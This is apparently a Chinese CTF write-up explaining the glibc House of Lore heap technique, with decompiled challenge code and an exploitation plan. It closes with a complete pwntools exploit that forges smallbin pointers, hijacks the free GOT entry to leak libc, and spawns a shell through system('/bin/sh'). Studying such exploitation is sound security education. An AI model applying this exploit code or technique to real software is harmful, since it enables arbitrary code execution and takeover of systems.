原理

通过伪造smallbin中chunk的bk指针,指向fake_chunk。因为当malloc时,会根据bk指针去寻找。所以就是相当于伪造一个chunk加入到smallbin链表中,并且这个伪造的chunk在原本chunk后面,即原本chunk的bk指针指向fake_chunk。同时fake_chunk的fd要指向原本的chunk。这样才能绕过链表检测。然后malloc两次smallbin大小的chunk,就能申请到fake_chunk

条件

  • 能修改smallbin的bk指针,指向fake_chunk
  • 能修改fake_chunk的fd,指向smallbin中的chunk
  • 申请两次smallbin,即可申请出fake_chunk

要想free_chunk从unsortedbin进入到smallbin中,只要申请一个大于unsortedbin中chunk大小的即可

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-8h]
int v4; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
init_name_message();
v3 = 0;
while ( 1 )
{
while ( 1 )
{
menu(); // puts("What do you want to do?");
// puts("1.Add a page");
// puts("2.Edit a page");
// puts("3.Delete a page");
// puts("4.Change name");
// puts("5.Change message");
// puts("6.Finish");
v4 = read_int();
if ( v4 != 1 )
break;
add();
}
switch ( v4 )
{
case 2:
edit();
break;
case 3:
delete();
break;
case 4:
change_name();
break;
case 5:
if ( v3 )
{
puts("I think one chance is enough");
}
else
{
change_message();
v3 = 1;
}
break;
case 6:
puts("Good job!");
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}

利用思路

菜单开始之前会申请一个chunk,然后利用修改message功能,会将这个0xc0大小的chunk释放,此时这个chunk进入到unsortedbin中,然后填写0xee大小的size,由于unsoeredbin中的chunk大小不满足,所以这个chunk会进入到smallbin中,利用向old_message写的功能,将smallbin的bk修改到bss段上name的区域。再利用修改name的功能,修改fake_chunk的fd指向smallbin。然后申请两次即可申请到bss段的chunk。再控制chunk指针,修改free的got表地址为puts函数,泄露libc地址,后再修改为system函数,即可getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('challenge-97a11b692c4ee024.sandbox.ctfhub.com', 31273)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add(size):
rl("Your choice >> ")
sl('1')
rl("size")
sl(str(size))
def edit(index,content):
rl("Your choice >> ")
sl('2')
rl("Which page do you want to edit?")
sl(str(index))
rl("Input your content:")
s(content)
def delete(index):
rl("Your choice >> ")
sl('3')
rl("Which page do you want to delete?")
sl(str(index))
def change_name(name):
rl("Your choice >> ")
sl('4')
rl("Your new name:")
sl(name)
def change_message(size,content,message):
rl("Your choice >> ")
sl('5')
rl("Your message is saved at ")
rl("0x")
global heap_addr
heap_addr = int(rl('\x0a'),16)
lg("heap_addr",heap_addr)
rl("Your size of new message:")
sl(str(size))
rl("Input your new message:")
sl(content)
rl("say goodbye to the old message:")
sl(message)
gdb.attach(p)
rl("Now,please input your name,Mr. writer:")
sl('aaaaa')
rl("And write some message for your book?")
sl('bbbbb')

add(0x80)

change_message(0xee,'a',p64(0x6020a0-0x10)*2)

change_name(p64(heap_addr-0x10)*2)
add(0xb0)
add(0xb0)

free = elf.got['free']
puts = elf.got['puts']
edit(2,p64(0)*12+p64(free))
edit(0,p64(elf.plt['puts']))
delete(1)
rl("\x0a")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3c4b78-0xb0
lg("libc_base",libc_base)

system = libc_base+libc.sym['system']
edit(0,p64(system))
change_name('/bin/sh\x00')
delete(2)

inter()